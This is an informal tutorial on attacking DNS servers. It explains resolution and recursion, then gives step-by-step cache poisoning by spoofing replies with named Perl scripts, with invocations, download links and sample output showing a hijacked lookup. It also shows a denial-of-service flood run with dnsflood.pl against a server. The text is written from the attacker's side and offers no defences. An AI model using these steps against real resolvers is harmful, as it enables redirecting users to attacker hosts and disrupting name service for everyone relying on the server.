INTRODUCTION
--------------
Domain Name System (DNS) associates various sorts of information with so-called domain names; most importantly, it serves as the "phone book" for the Internet: it translates human-readable computer hostnames, e.g. en.wikipedia.org, into the IP addresses that networking equipment needs for delivering information. It also stores other information such as the list of mail exchange servers that accept email for a given domain
The Berkley Internet Name Service (BIND) is the most common form of DNS server used on the Internet. BIND typically runs on UNIX type systems. The DNS server stores information which it serves out about a particular domain (also referred to as a namespace) in text files called zone files.A client (the resolver) maintains a small amount of local cache which it will refer to first before looking at a local static host’s file and then finally the DNS server. The result returned will then be cached by the client for a small period of time.
When a DNS server is contacted for a resolution query, and if it is authoritative (has the answer to the question in its own database) for a particular domain (referred to as a zone) it will return the answer to the client. If it is not authoritative for the domain, the DNS server will contact other name servers and eventually it will get the answer it needs which is passed back to the client. This process is known as recursion.
Additionally the client itself can attempt to contact additional DNS servers to resolve a name. When a client does so, it uses separate and additional queries based on referral answers from servers. This process is known as iteration
----------------------------
ATTACKING THE DNS CACHE
----------------------------
The most common attacks on DNS can be classified as
Zone Transfers or information disclosure attacks
Cache poisioning
CACHE POISIONING
Lets say a client in domain xyz.com wants to resolve www.google.com
1. The client will contact its configured DNS server and ask for www.google.com to be resolved. This query will contain information about the client’s source UDP port, IP address and a DNS transaction ID.
2.If the information is available locally i.e cached ,it is returned to the client
3. If not then the client’s DNS server will contact the authoritive name server for google.com and resolve the query
4. The answer is passed back to the client and also cached locally in the DNS server of xyz.com (say ns1.xyz.com) and the client
5. Note the client only accepts the DNS information if the server replies with the correct client’s source UDP port, IP address and the DNS transaction ID
--------------------------------
Attack #1 – The Birthday Attack
--------------------------------
To poison the cache the attacker needs to
1 Send a number of resolution requests for google.com.An important thing to note here is that each query for google.com is assigned a different transactio ID.
2. While the DNS resolves this the attacker sends a large number of spoofed replies from ns1.google.com with different transaction ID.The attacker hopes to guess the correct transaction ID as used the two name servers
Finding the correct IP addresses is easy; we know our target, and we know the addresses of the legitimate nameservers for the domain to be hijacked. Finding the port is slightly harder. We know that the destination port of the recursive query is UDP port 53, but the source port is a moving target. Fortunately for our attacker, BIND will more often than not reuse the same source port for queries on behalf of the same client. So, if the attacker is working from an authoritative nameserver, he can first issue a request for a DNS 3lookup of a hostname on his server. When the recursive query packet arrives, he can look at the source port. Chances are this will be the same source port used when the victim sends the queries for the domain to be hijacked.
--------------------------------
Attck #2 - Poisioning the Cache
--------------------------------
1. To obtain the source port we use a perl script.It needs to be run from an authoritative name server which the attacker controls to query the target name server for a hostname for which the attacker’s machine is authoritative.
Another alternative would be to use a packet sniffer.
dns1.pl 10.10.10.50 www.google.com
source port: 34567
2. Now we run the second script written by Ramon Izaguirre called hds0.pl2.The script does most of the work by spoofing the reply from ns1.google.com
./hds0.pl (ns1.google.com) (ns1.xyz.com) (source port obtained from the earlier script) (spoof target)
To observe if the attack was successful simply query the target name server:
dig @12.12.12.12 www.google.com
www.google.com 86400 IN A 10.10.10.10
The attack is successful as google resolves yo 10.10.10.10
The script is available here-hxxp://securityvulns.com/files/birthday.pl
--------------------------------------
Attack #3 - DOS Attack on DNS servers
--------------------------------------
DNS servers like other Internet resources are prone to denial of service attacks.The only difference here would be that DNS server uses UDP for name resolution.To create a DOS attack on the DNS server a script such as dnsflood.pl can be executed on multiple clients to create the traffic.DNSflood works by sending many thousands of rapid DNS requests, thereby giving the server more traffic than it can handle resulting in slower and slower response times for legitimate requests.
The script can be obtained from - hxxp://packetstormsecurity.org/DoS/dnsflood.pl
In the following example we use the scrip to create a DOS effect on the DNS server and then query the DNS for name resolution
perl dnsflood.pl 192.168.10.1
attacked: 192.168.10.1...
To assess the impact of this attack on performance the attacker from another machine first clears his local cache and then queries the target name server. Clearing the local cache will ensure the resolver gets the information from the server and not locally.
C:\>ipconfig /flushdns
Windows IP Configuration
Successfully flushed the DNS Resolver Cache.
C:\>nslookup
DNS request timed out.
timeout was 2 seconds.
*** Can't find server name for address 192.168.10.1: Timed out
*** Default servers are not available
Default Server: UnKnown
Address: 192.168.10.1
> ms2.xyz.com
Server: UnKnown
Address: 192.168.10.1
DNS request timed out.
timeout was 2 seconds.
DNS request timed out.
timeout was 2 seconds.
*** Request to UnKnown timed-out
>exit
If this attack was multiplied from a number of machines then the impact would be even greater.
------------
CONCLUSION
------------
These are only a few possible exploits involving the DNS Spoofing vulnerability and there are,probably, many more waiting to be discovered. Discovery and implementation is limited only by the active imagination of the attacker.
Cheers
